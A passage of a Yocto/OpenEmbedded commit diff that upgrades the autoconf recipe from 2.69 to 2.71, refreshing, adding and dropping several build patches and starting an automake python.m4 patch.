-Date: Mon, 24 Mar 2014 16:33:19 +0200
-Subject: [PATCH] autotest: new testsuite option to enable automake test
- result format
+From 8c0f24404bebffdaf3132d81e2b9560d34ff1677 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 12 Mar 2020 17:25:45 +0000
+Subject: [PATCH 6/7] autotest-automake-result-format.patch
-* lib/autotest/general.m4: added "--am-fmt | -A" command line
-parameter for testsuite script to enable "RESULT: testname" output;
-will be used by yocto ptest packages.
-
-Upstream-Status: Pending
-
-Signed-off-by: Radu Patriu <radu.patriu@enea.com>
+Upstream-Status: Inappropriate [oe specific]
---
- lib/autotest/general.m4 | 39 +++++++++++++++++++++++++++++----------
+ lib/autotest/general.m4 | 39 +++++++++++++++++++++++++++++----------
1 file changed, 29 insertions(+), 10 deletions(-)
diff --git a/lib/autotest/general.m4 b/lib/autotest/general.m4
-index 60c0352..c1f5a9b 100644
+index 0c0e3c5b..17590e96 100644
--- a/lib/autotest/general.m4
+++ b/lib/autotest/general.m4
@@ -412,6 +412,9 @@ at_recheck=
@@ -29,7 +22,7 @@ index 60c0352..c1f5a9b 100644
# The directory we run the suite in. Default to . if no -C option.
at_dir=`pwd`
# An absolute reference to this testsuite script.
-@@ -530,6 +533,10 @@ do
+@@ -525,6 +528,10 @@ do
at_check_filter_trace=at_fn_filter_trace
;;
@@ -40,7 +33,7 @@ index 60c0352..c1f5a9b 100644
[[0-9] | [0-9][0-9] | [0-9][0-9][0-9] | [0-9][0-9][0-9][0-9]])
at_fn_validate_ranges at_option
AS_VAR_APPEND([at_groups], ["$at_option$as_nl"])
-@@ -718,10 +725,10 @@ m4_divert_push([HELP_MODES])dnl
+@@ -713,10 +720,10 @@ m4_divert_push([HELP_MODES])dnl
cat <<_ATEOF || at_write_fail=1
Operation modes:
@@ -55,7 +48,7 @@ index 60c0352..c1f5a9b 100644
_ATEOF
m4_divert_pop([HELP_MODES])dnl
m4_wrap([m4_divert_push([HELP_TUNING_BEGIN])dnl
-@@ -747,6 +754,7 @@ Execution tuning:
+@@ -742,6 +749,7 @@ Execution tuning:
-d, --debug inhibit clean up and top-level logging
[ default for debugging scripts]
-x, --trace enable tests shell tracing
@@ -63,7 +56,7 @@ index 60c0352..c1f5a9b 100644
_ATEOF
m4_divert_pop([HELP_TUNING_BEGIN])])dnl
m4_divert_push([HELP_END])dnl
-@@ -1162,7 +1170,9 @@ at_fn_group_banner ()
+@@ -1129,7 +1137,9 @@ at_fn_group_banner ()
[*]) at_desc_line="$[1]: " ;;
esac
AS_VAR_APPEND([at_desc_line], ["$[3]$[4]"])
@@ -74,7 +67,7 @@ index 60c0352..c1f5a9b 100644
echo "# -*- compilation -*-" >> "$at_group_log"
}
-@@ -1188,42 +1198,51 @@ _ATEOF
+@@ -1155,42 +1165,51 @@ _ATEOF
case $at_xfail:$at_status in
yes:0)
at_msg="UNEXPECTED PASS"
@@ -132,5 +125,5 @@ index 60c0352..c1f5a9b 100644
at_log_msg="$at_group. $at_desc ($at_setup_line): $at_msg"
case $at_status in
--
-1.7.9.5
+2.25.1
diff --git a/meta/recipes-devtools/autoconf/autoconf/check-automake-cross-warning.patch b/meta/recipes-devtools/autoconf/autoconf/check-automake-cross-warning.patch
deleted file mode 100644
index 73394d7d52..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/check-automake-cross-warning.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-Use --warning=cross only if supported by automake
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
-
---- a/bin/autoreconf.in
-+++ b/bin/autoreconf.in
-@@ -127,6 +127,8 @@ my $aclocal_supports_warnings = 0;
- my $automake_supports_force_missing = 0;
- # Does automake support -Wfoo?
- my $automake_supports_warnings = 0;
-+# Does automake support --warning=cross
-+my $automake_supports_cross_warning = 0;
-
- my @prepend_include;
- my @include;
-@@ -191,6 +193,7 @@ sub parse_args ()
- $aclocal_supports_warnings = $aclocal_help =~ /--warnings/;
- $automake_supports_force_missing = $automake_help =~ /--force-missing/;
- $automake_supports_warnings = $automake_help =~ /--warnings/;
-+ $automake_supports_cross_warning = $automake_help =~ /cross/;
-
- # Dispatch autoreconf's option to the tools.
- # --include;
-@@ -244,6 +247,8 @@ sub parse_args ()
- $libtoolize .= ' --debug';
- }
- # --warnings;
-+ @warning = grep { $_ ne "cross" } @warning
-+ if ! $automake_supports_cross_warning;
- if (@warning)
- {
- my $warn = ' --warnings=' . join (',', @warning);
diff --git a/meta/recipes-devtools/autoconf/autoconf/config_site.patch b/meta/recipes-devtools/autoconf/autoconf/config_site.patch
deleted file mode 100644
index 9f044404dd..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/config_site.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-Upstream-Status: Pending
-
-Poky provides a list of site files in CONFIG_SITE whereas autoconf
-only expects one file. This patch changes autoconf to accept a list of
-them.
-
-RP 1/2/10
-
-Updated for 2.68 version: the CONFIG_SITE var was not getting used at all
-fixed the 2.68 code
-Nitin A Kamble <nitin.a.kamble@intel.com> 2011/05/27
-
-Index: autoconf-2.68/lib/autoconf/general.m4
-===================================================================
---- autoconf-2.68.orig/lib/autoconf/general.m4
-+++ autoconf-2.68/lib/autoconf/general.m4
-@@ -1878,7 +1878,6 @@ AU_DEFUN([AC_VALIDATE_CACHED_SYSTEM_TUPL
- m4_define([AC_SITE_LOAD],
- [# Prefer an explicitly selected file to automatically selected ones.
- ac_site_file1=NONE
--ac_site_file2=NONE
- if test -n "$CONFIG_SITE"; then
- # We do not want a PATH search for config.site.
- case $CONFIG_SITE in @%:@((
-@@ -1886,14 +1885,8 @@ if test -n "$CONFIG_SITE"; then
- */*) ac_site_file1=$CONFIG_SITE;;
- *) ac_site_file1=./$CONFIG_SITE;;
- esac
--elif test "x$prefix" != xNONE; then
-- ac_site_file1=$prefix/share/config.site
-- ac_site_file2=$prefix/etc/config.site
--else
-- ac_site_file1=$ac_default_prefix/share/config.site
-- ac_site_file2=$ac_default_prefix/etc/config.site
- fi
--for ac_site_file in "$ac_site_file1" "$ac_site_file2"
-+for ac_site_file in $ac_site_file1
- do
- test "x$ac_site_file" = xNONE && continue
- if test /dev/null != "$ac_site_file" && test -r "$ac_site_file"; then
diff --git a/meta/recipes-devtools/autoconf/autoconf/fix_path_xtra.patch b/meta/recipes-devtools/autoconf/autoconf/fix_path_xtra.patch
deleted file mode 100644
index 65df88f8f9..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/fix_path_xtra.patch
+++ /dev/null
@@ -1,120 +0,0 @@
-Upstream-Status: Pending
-
-We don't build xmkmf so any values returned from it are going to be wrong.
-Using any paths in /usr/ for x headers/libs is a bad idea when cross compiling.
-This patch removes them to stop any confusion.
-
-RP - 20071115
-
-Index: autoconf-2.68/lib/autoconf/libs.m4
-===================================================================
---- autoconf-2.68.orig/lib/autoconf/libs.m4
-+++ autoconf-2.68/lib/autoconf/libs.m4
-@@ -159,53 +159,6 @@ m4_popdef([AC_Lib_Name])dnl
- # --------------------- #
-
-
--# _AC_PATH_X_XMKMF
--# ----------------
--# Internal subroutine of _AC_PATH_X.
--# Set ac_x_includes and/or ac_x_libraries.
--m4_define([_AC_PATH_X_XMKMF],
--[AC_ARG_VAR(XMKMF, [Path to xmkmf, Makefile generator for X Window System])dnl
--rm -f -r conftest.dir
--if mkdir conftest.dir; then
-- cd conftest.dir
-- cat >Imakefile <<'_ACEOF'
--incroot:
-- @echo incroot='${INCROOT}'
--usrlibdir:
-- @echo usrlibdir='${USRLIBDIR}'
--libdir:
-- @echo libdir='${LIBDIR}'
--_ACEOF
-- if (export CC; ${XMKMF-xmkmf}) >/dev/null 2>/dev/null && test -f Makefile; then
-- # GNU make sometimes prints "make[1]: Entering ...", which would confuse us.
-- for ac_var in incroot usrlibdir libdir; do
-- eval "ac_im_$ac_var=\`\${MAKE-make} $ac_var 2>/dev/null | sed -n 's/^$ac_var=//p'\`"
-- done
-- # Open Windows xmkmf reportedly sets LIBDIR instead of USRLIBDIR.
-- for ac_extension in a so sl dylib la dll; do
-- if test ! -f "$ac_im_usrlibdir/libX11.$ac_extension" &&
-- test -f "$ac_im_libdir/libX11.$ac_extension"; then
-- ac_im_usrlibdir=$ac_im_libdir; break
-- fi
-- done
-- # Screen out bogus values from the imake configuration. They are
-- # bogus both because they are the default anyway, and because
-- # using them would break gcc on systems where it needs fixed includes.
-- case $ac_im_incroot in
-- /usr/include) ac_x_includes= ;;
-- *) test -f "$ac_im_incroot/X11/Xos.h" && ac_x_includes=$ac_im_incroot;;
-- esac
-- case $ac_im_usrlibdir in
-- /usr/lib | /usr/lib64 | /lib | /lib64) ;;
-- *) test -d "$ac_im_usrlibdir" && ac_x_libraries=$ac_im_usrlibdir ;;
-- esac
-- fi
-- cd ..
-- rm -f -r conftest.dir
--fi
--])# _AC_PATH_X_XMKMF
--
--
- # _AC_PATH_X_DIRECT
- # -----------------
- # Internal subroutine of _AC_PATH_X.
-@@ -213,44 +166,7 @@ fi
- m4_define([_AC_PATH_X_DIRECT],
- [# Standard set of common directories for X headers.
- # Check X11 before X11Rn because it is often a symlink to the current release.
--ac_x_header_dirs='
--/usr/X11/include
--/usr/X11R7/include
--/usr/X11R6/include
--/usr/X11R5/include
--/usr/X11R4/include
--
--/usr/include/X11
--/usr/include/X11R7
--/usr/include/X11R6
--/usr/include/X11R5
--/usr/include/X11R4
--
--/usr/local/X11/include
--/usr/local/X11R7/include
--/usr/local/X11R6/include
--/usr/local/X11R5/include
--/usr/local/X11R4/include
--
--/usr/local/include/X11
--/usr/local/include/X11R7
--/usr/local/include/X11R6
--/usr/local/include/X11R5
--/usr/local/include/X11R4
--
--/usr/X386/include
--/usr/x386/include
--/usr/XFree86/include/X11
--
--/usr/include
--/usr/local/include
--/usr/unsupported/include
--/usr/athena/include
--/usr/local/x11r5/include
--/usr/lpp/Xamples/include
--
--/usr/openwin/include
--/usr/openwin/share/include'
-+ac_x_header_dirs=''
-
- if test "$ac_x_includes" = no; then
- # Guess where to find include files, by looking for Xlib.h.
-@@ -299,7 +215,6 @@ AC_DEFUN([_AC_PATH_X],
- [AC_CACHE_VAL(ac_cv_have_x,
- [# One or both of the vars are not set, and there is no cached value.
- ac_x_includes=no ac_x_libraries=no
--_AC_PATH_X_XMKMF
- _AC_PATH_X_DIRECT
- case $ac_x_includes,$ac_x_libraries in #(
- no,* | *,no | *\'*)
diff --git a/meta/recipes-devtools/autoconf/autoconf/man-host-perl.patch b/meta/recipes-devtools/autoconf/autoconf/man-host-perl.patch
new file mode 100644
index 0000000000..c6c135625d
--- /dev/null
+++ b/meta/recipes-devtools/autoconf/autoconf/man-host-perl.patch
@@ -0,0 +1,24 @@
+Don't use the target perl when regenerating the man pages.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/man/local.mk b/man/local.mk
+index e69858b1..78c68ab5 100644
+--- a/man/local.mk
++++ b/man/local.mk
+@@ -67,13 +67,12 @@ SUFFIXES += .w .1
+ @echo "Updating man page $@"
+ $(MKDIR_P) $(@D)
+ PATH="$(top_srcdir)/man$(PATH_SEPARATOR)$$PATH"; \
+- PERL="$(PERL)"; \
+ PACKAGE_NAME="$(PACKAGE_NAME)"; \
+ VERSION="$(VERSION)"; \
+ RELEASE_YEAR="$(RELEASE_YEAR)"; \
+ top_srcdir="$(top_srcdir)"; \
+ channeldefs_pm="$(channeldefs_pm)"; \
+- export PATH PERL PACKAGE_NAME VERSION RELEASE_YEAR; \
++ export PATH PACKAGE_NAME VERSION RELEASE_YEAR; \
+ export top_srcdir channeldefs_pm; \
+ $(HELP2MAN) \
+ --include=$(srcdir)/$*.x \
diff --git a/meta/recipes-devtools/autoconf/autoconf/no-man.patch b/meta/recipes-devtools/autoconf/autoconf/no-man.patch
new file mode 100644
index 0000000000..2c44375f43
--- /dev/null
+++ b/meta/recipes-devtools/autoconf/autoconf/no-man.patch
@@ -0,0 +1,21 @@
+For native builds we don't care about the documentation, and this would
+otherwise pull in a dependency on help2man.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/Makefile.in b/Makefile.in
+index 146e8e3..a1827c1 100644
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -763,10 +762,0 @@ dist_buildaux_SCRIPTS = \
+-dist_man_MANS = \
+- man/autoconf.1 \
+- man/autoheader.1 \
+- man/autom4te.1 \
+- man/autoreconf.1 \
+- man/autoscan.1 \
+- man/autoupdate.1 \
+- man/ifnames.1
+-
+-
diff --git a/meta/recipes-devtools/autoconf/autoconf/performance.patch b/meta/recipes-devtools/autoconf/autoconf/performance.patch
deleted file mode 100644
index 1842fe92b7..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/performance.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-The check for solaris 'print' causes significant problems on a linux machine
-with dash as /bin/sh since it triggers the execution of "print" which on some
-linux systems is a perl script which is part of mailcap. Worse, this perl
-script calls "which file" and if successful ignores the path file was found
-in and just runs "file" without a path. Each exection causes PATH to be searched.
-
-Simply assuming the shell's printf function works cuts out all the fork overhead
-and when parallel tasks are running, this overhead appears to be significant.
-
-RP
-2015/11/28
-Upstream-Status: Inappropriate
-
-Index: autoconf-2.69/lib/m4sugar/m4sh.m4
-===================================================================
---- autoconf-2.69.orig/lib/m4sugar/m4sh.m4
-+++ autoconf-2.69/lib/m4sugar/m4sh.m4
-@@ -1045,40 +1045,8 @@ m4_defun([_AS_ECHO_PREPARE],
- [[as_nl='
- '
- export as_nl
--# Printing a long string crashes Solaris 7 /usr/bin/printf.
--as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'
--as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo
--as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo
--# Prefer a ksh shell builtin over an external printf program on Solaris,
--# but without wasting forks for bash or zsh.
--if test -z "$BASH_VERSION$ZSH_VERSION" \
-- && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then
-- as_echo='print -r --'
-- as_echo_n='print -rn --'
--elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then
-- as_echo='printf %s\n'
-- as_echo_n='printf %s'
--else
-- if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then
-- as_echo_body='eval /usr/ucb/echo -n "$][1$as_nl"'
-- as_echo_n='/usr/ucb/echo -n'
-- else
-- as_echo_body='eval expr "X$][1" : "X\\(.*\\)"'
-- as_echo_n_body='eval
-- arg=$][1;
-- case $arg in @%:@(
-- *"$as_nl"*)
-- expr "X$arg" : "X\\(.*\\)$as_nl";
-- arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;;
-- esac;
-- expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl"
-- '
-- export as_echo_n_body
-- as_echo_n='sh -c $as_echo_n_body as_echo'
-- fi
-- export as_echo_body
-- as_echo='sh -c $as_echo_body as_echo'
--fi
-+as_echo='printf %s\n'
-+as_echo_n='printf %s'
- ]])# _AS_ECHO_PREPARE
-
-
diff --git a/meta/recipes-devtools/autoconf/autoconf/preferbash.patch b/meta/recipes-devtools/autoconf/autoconf/preferbash.patch
index fa76ee9bdd..cfb145a279 100644
--- a/meta/recipes-devtools/autoconf/autoconf/preferbash.patch
+++ b/meta/recipes-devtools/autoconf/autoconf/preferbash.patch
@@ -1,25 +1,38 @@
-This value is used to determine CONFIG_SHELL and SHELL which may get exported into
-scripts shared via sstate onto other systems.
+From 0aac3047cd7681d610b22d79501c297fa3433148 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 12 Mar 2020 17:25:41 +0000
+Subject: [PATCH 2/7] m4sh: prefer bash over sh
-Some systems have /bin/sh -> dash and others /bin/sh -> bash. Bash is preferred
-but sometimes we can sometimes end up exporting /bin/sh yet use bashisms.
+_AS_DETECT_BETTER_SHELL looks for a good shell to use, and tries to look for
+'sh' before 'bash'. Whilst for many systems sh is a symlink to bash,
+there are many where sh is a symlink to a more minimal sh implementation.
-This patch puts bash first in the search results which avoids the bash/dash confusion.
+For example, Debian by default has /bin/sh -> /bin/dash: dash is a faster
+shell to start (which makes a notable difference to boot speed) but is not
+as fast as bash at executing long scripts (and configure scripts are not
+known for their conciseness).
-RP 2012/9/23
+Change the search order to bash then sh, so that a known-good shell (bash)
+is used if available over something which is merely POSIX compliant.
-Upstream-Status: Inappropriate [OE specific configuration]
+Upstream-Status: Inappropriate [oe specific]
+---
+ lib/m4sugar/m4sh.m4 | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
-Index: autoconf-2.69/lib/m4sugar/m4sh.m4
-===================================================================
---- autoconf-2.69.orig/lib/m4sugar/m4sh.m4 2012-03-07 17:35:26.000000000 +0000
-+++ autoconf-2.69/lib/m4sugar/m4sh.m4 2013-09-23 16:12:38.853597515 +0000
-@@ -229,7 +229,7 @@
+diff --git a/lib/m4sugar/m4sh.m4 b/lib/m4sugar/m4sh.m4
+index 9d543952..84ef84a9 100644
+--- a/lib/m4sugar/m4sh.m4
++++ b/lib/m4sugar/m4sh.m4
+@@ -230,7 +230,7 @@ dnl Remove any tests from suggested that are also required
[_AS_PATH_WALK([/bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH],
[case $as_dir in @%:@(
/*)
- for as_base in sh bash ksh sh5; do
+ for as_base in bash sh ksh sh5; do
# Try only shells that exist, to save several forks.
- as_shell=$as_dir/$as_base
+ as_shell=$as_dir$as_base
AS_IF([{ test -f "$as_shell" || test -f "$as_shell.exe"; } &&
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/autoconf/autoconf/program_prefix.patch b/meta/recipes-devtools/autoconf/autoconf/program_prefix.patch
index 978a401f0a..657cbb351b 100644
--- a/meta/recipes-devtools/autoconf/autoconf/program_prefix.patch
+++ b/meta/recipes-devtools/autoconf/autoconf/program_prefix.patch
@@ -1,20 +1,27 @@
-Upstream-Status: Pending
+From f4f19a5c03e8ae3b9cc93d24b76694f4b7b2eb76 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 12 Mar 2020 17:28:38 +0000
+Subject: [PATCH 3/7] program_prefix.patch
-#
-# Patch managed by http://www.mn-logistik.de/unsupported/pxa250/patcher
-#
+Upstream-Status: Inappropriate [oe specific]
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+---
+ lib/autoconf/general.m4 | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
---- autoconf-2.57/lib/autoconf/general.m4~program_prefix
-+++ autoconf-2.57/lib/autoconf/general.m4
-@@ -1676,8 +1676,9 @@
+diff --git a/lib/autoconf/general.m4 b/lib/autoconf/general.m4
+index 16f0d074..4c5e0b36 100644
+--- a/lib/autoconf/general.m4
++++ b/lib/autoconf/general.m4
+@@ -2070,7 +2070,7 @@ _AC_CANONICAL_SPLIT([target])
+
# The aliases save the names the user supplied, while $host etc.
# will get canonicalized.
- test -n "$target_alias" &&
-- test "$program_prefix$program_suffix$program_transform_name" = \
-- NONENONEs,x,x, &&
-+ test "$target_alias" != "$host_alias" &&
-+ test "$program_prefix$program_suffix$program_transform_name" = \
-+ NONENONEs,x,x, &&
+-test -n "$target_alias" &&
++test -n "$target_alias" && test "$target_alias" != "$host_alias" &&
+ test "$program_prefix$program_suffix$program_transform_name" = \
+ NONENONEs,x,x, &&
program_prefix=${target_alias}-[]dnl
- ])# AC_CANONICAL_TARGET
-
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/autoconf/autoconf/remove-usr-local-lib-from-m4.patch b/meta/recipes-devtools/autoconf/autoconf/remove-usr-local-lib-from-m4.patch
index 55d2e2fe7e..f38780130a 100644
--- a/meta/recipes-devtools/autoconf/autoconf/remove-usr-local-lib-from-m4.patch
+++ b/meta/recipes-devtools/autoconf/autoconf/remove-usr-local-lib-from-m4.patch
@@ -1,17 +1,19 @@
-We have problem using hardcoded directories like /usr/local here
-which will be checked for cross builds. This is a special case which
-is valid for AIX only. We do not have AIX as one of our supported
-build host or target. Therefore we get rid of the hardcoded paths
-and make life easier for cross compilation process.
+From a08643ac3fef884900d6cfa161f0acec3ef104d1 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 12 Mar 2020 17:25:37 +0000
+Subject: [PATCH 1/7] remove-usr-local-lib-from-m4.patch
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Inappropriate [oe specific]
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+---
+ lib/autoconf/functions.m4 | 9 ---------
+ 1 file changed, 9 deletions(-)
-Upstream-Status: Inappropriate [Upstream does care for AIX while we may not]
-Index: autoconf-2.68/lib/autoconf/functions.m4
-===================================================================
---- autoconf-2.68.orig/lib/autoconf/functions.m4 2010-09-22 14:52:19.000000000 -0700
-+++ autoconf-2.68/lib/autoconf/functions.m4 2011-08-03 11:57:05.822199513 -0700
-@@ -749,15 +749,6 @@ if test $ac_have_func = no; then
+diff --git a/lib/autoconf/functions.m4 b/lib/autoconf/functions.m4
+index 12f60b99..07da7941 100644
+--- a/lib/autoconf/functions.m4
++++ b/lib/autoconf/functions.m4
+@@ -801,15 +801,6 @@ if test $ac_have_func = no; then
[LIBS="-lutil $LIBS" ac_have_func=yes ac_cv_func_getloadavg_setgid=yes])
fi
@@ -27,3 +29,6 @@ Index: autoconf-2.68/lib/autoconf/functions.m4
# Make sure it is really in the library, if we think we found it,
# otherwise set up the replacement function.
AC_CHECK_FUNCS(getloadavg, [],
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/autoconf/autoconf_2.69.bb b/meta/recipes-devtools/autoconf/autoconf_2.69.bb
deleted file mode 100644
index 8e67f4b829..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf_2.69.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-require autoconf.inc
-
-PR = "r11"
-
-LICENSE = "GPLv2 & GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe \
- file://COPYINGv3;md5=d32239bcb673463ab874e80d47fae504"
-SRC_URI += "file://check-automake-cross-warning.patch \
- file://autoreconf-exclude.patch \
- file://autoreconf-gnuconfigize.patch \
- file://config_site.patch \
- file://remove-usr-local-lib-from-m4.patch \
- file://preferbash.patch \
- file://autotest-automake-result-format.patch \
- file://add_musl_config.patch \
- file://performance.patch \
- file://AC_HEADER_MAJOR-port-to-glibc-2.25.patch \
- file://autoconf-replace-w-option-in-shebangs-with-modern-use-warnings.patch \
- "
-
-SRC_URI[md5sum] = "82d05e03b93e45f5a39b828dc9c6c29b"
-SRC_URI[sha256sum] = "954bd69b391edc12d6a4a51a2dd1476543da5c6bbf05a95b59dc0dd6fd4c2969"
-
-SRC_URI_append_class-native = " file://fix_path_xtra.patch"
-
-EXTRA_OECONF += "ac_cv_path_M4=m4 ac_cv_prog_TEST_EMACS=no"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/autoconf/autoconf_2.71.bb b/meta/recipes-devtools/autoconf/autoconf_2.71.bb
new file mode 100644
index 0000000000..799191e2ca
--- /dev/null
+++ b/meta/recipes-devtools/autoconf/autoconf_2.71.bb
@@ -0,0 +1,81 @@
+SUMMARY = "A GNU tool that produce shell scripts to automatically configure software"
+DESCRIPTION = "Autoconf is an extensible package of M4 macros that produce shell scripts to automatically \
+configure software source code packages. Autoconf creates a configuration script for a package from a template \
+file that lists the operating system features that the package can use, in the form of M4 macro calls."
+LICENSE = "GPL-3.0-or-later"
+HOMEPAGE = "http://www.gnu.org/software/autoconf/"
+SECTION = "devel"
+DEPENDS = "m4-native autoconf-native automake-native gnu-config-native help2man-native"
+DEPENDS:remove:class-native = "autoconf-native automake-native help2man-native"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=cc3f3a7596cb558bbd9eb7fbaa3ef16c \
+ file://COPYINGv3;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = "${GNU_MIRROR}/autoconf/${BP}.tar.gz \
+ file://program_prefix.patch \
+ file://autoreconf-exclude.patch \
+ file://remove-usr-local-lib-from-m4.patch \
+ file://preferbash.patch \
+ file://autotest-automake-result-format.patch \
+ file://man-host-perl.patch \
+ "
+SRC_URI:append:class-native = " file://no-man.patch"
+
+SRC_URI[sha256sum] = "431075ad0bf529ef13cb41e9042c542381103e80015686222b8a9d4abef42a1c"
+
+RDEPENDS:${PN} = "m4 gnu-config \
+ perl \
+ perl-module-bytes \
+ perl-module-carp \
+ perl-module-constant \
+ perl-module-data-dumper \
+ perl-module-errno \
+ perl-module-exporter \
+ perl-module-file-basename \
+ perl-module-file-compare \
+ perl-module-file-copy \
+ perl-module-file-find \
+ perl-module-file-glob \
+ perl-module-file-path \
+ perl-module-file-spec \
+ perl-module-file-spec-unix \
+ perl-module-file-stat \
+ perl-module-file-temp \
+ perl-module-getopt-long \
+ perl-module-io-file \
+ perl-module-list-util \
+ perl-module-overloading \
+ perl-module-posix \
+ perl-module-scalar-util \
+ perl-module-symbol \
+ perl-module-thread-queue \
+ perl-module-threads \
+ "
+RDEPENDS:${PN}:class-native = "m4-native gnu-config-native hostperl-runtime-native"
+
+inherit autotools texinfo
+
+PERL = "${USRBINPATH}/perl"
+PERL:class-native = "/usr/bin/env perl"
+PERL:class-nativesdk = "/usr/bin/env perl"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='${PERL}'"
+
+EXTRA_OECONF += "ac_cv_path_M4=m4 ac_cv_prog_TEST_EMACS=no"
+
+# As autoconf installs its own config.* files, ensure that they're always up to date.
+update_gnu_config() {
+ install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.guess ${S}/build-aux
+ install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.sub ${S}/build-aux
+}
+do_configure[prefuncs] += "update_gnu_config"
+
+do_configure:class-native() {
+ oe_runconf
+}
+
+do_install:append() {
+ rm -rf ${D}${datadir}/emacs
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/automake/automake.inc b/meta/recipes-devtools/automake/automake.inc
index 87cedc9838..9946c73c71 100644
--- a/meta/recipes-devtools/automake/automake.inc
+++ b/meta/recipes-devtools/automake/automake.inc
@@ -1,7 +1,7 @@
SUMMARY = "A GNU tool for automatically generating Makefiles"
DESCRIPTION = "Automake is a tool for automatically generating `Makefile.in' files compliant with the GNU Coding \
Standards. Automake requires the use of Autoconf."
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
HOMEPAGE = "http://www.gnu.org/software/automake/"
SECTION = "devel"
@@ -18,4 +18,4 @@ do_configure() {
export AUTOMAKE = "${@bb.utils.which('automake', d.getVar('PATH'))}"
-FILES_${PN} += "${datadir}/automake* ${datadir}/aclocal*"
+FILES:${PN} += "${datadir}/automake* ${datadir}/aclocal*"
diff --git a/meta/recipes-devtools/automake/automake/0001-automake-Update-for-python.m4-to-respect-libdir.patch b/meta/recipes-devtools/automake/automake/0001-automake-Update-for-python.m4-to-respect-libdir.patch
new file mode 100644
index 0000000000..d28045618e
--- /dev/null
+++ b/meta/recipes-devtools/automake/automake/0001-automake-Update-for-python.m4-to-respect-libdir.patch
@@ -0,0 +1,83 @@
+From dff74c5b19935cc11b30116a7ae9c8affdff246b Mon Sep 17 00:00:00 2001
+From: Kumar Gala <galak@kernel.crashing.org>
+Date: Thu, 11 Aug 2011 01:26:33 -0500
+Subject: [PATCH] automake: Update for python.m4 to respect libdir
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
+
+Updated for automake-1.12.6
+
+Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ m4/python.m4 | 24 ++++++------------------
+ 1 file changed, 6 insertions(+), 18 deletions(-)
+
+diff --git a/m4/python.m4 b/m4/python.m4
+index 4e7de9427..40fc5b396 100644
+--- a/m4/python.m4
++++ b/m4/python.m4
+@@ -96,6 +96,8 @@ AC_DEFUN([AM_PATH_PYTHON],
+ [am_cv_python_version=`$PYTHON -c "import sys; print ('%u.%u' % sys.version_info[[:2]])"`])
+ AC_SUBST([PYTHON_VERSION], [$am_cv_python_version])
+
++ AC_SUBST([PYTHON_LIB_PREFIX], ['${libdir}'])
++
+ dnl At times, e.g., when building shared libraries, you may want
+ dnl to know which OS platform Python thinks this is.
+ dnl
+@@ -251,14 +253,7 @@ except ImportError:
+ else
+ am_py_prefix=$am_cv_python_prefix
+ fi
+- am_cv_python_pythondir=`$PYTHON -c "
+-$am_python_setup_sysconfig
+-if can_use_sysconfig:
+- sitedir = sysconfig.get_path('purelib', vars={'base':'$am_py_prefix'})
+-else:
+- from distutils import sysconfig
+- sitedir = sysconfig.get_python_lib(0, 0, prefix='$am_py_prefix')
+-sys.stdout.write(sitedir)"`
++ am_cv_python_pythondir=`echo "$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages"`
+ #
+ case $am_cv_python_pythondir in
+ $am_py_prefix*)
+@@ -268,7 +263,7 @@ sys.stdout.write(sitedir)"`
+ *)
+ case $am_py_prefix in
+ /usr|/System*) ;;
+- *) am_cv_python_pythondir="\${PYTHON_PREFIX}/lib/python$PYTHON_VERSION/site-packages"
